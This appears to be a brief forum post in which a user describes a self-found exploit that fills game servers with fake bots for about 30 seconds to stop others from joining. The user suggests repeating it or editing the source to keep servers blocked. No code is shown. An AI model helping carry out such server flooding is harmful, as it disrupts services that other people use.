Ok, so I found this exploit around 5 months ago. I guess you could say it is big, I have not done to much testing on it.
Pretty much what it does is it "fills" up the server with fake bots for around 30 seconds. You can keep doing it over and over and I guess you could edit the source to make it keep filling the server. So you can block servers from being joined by others.
Also heres a picture of what it does to servers:
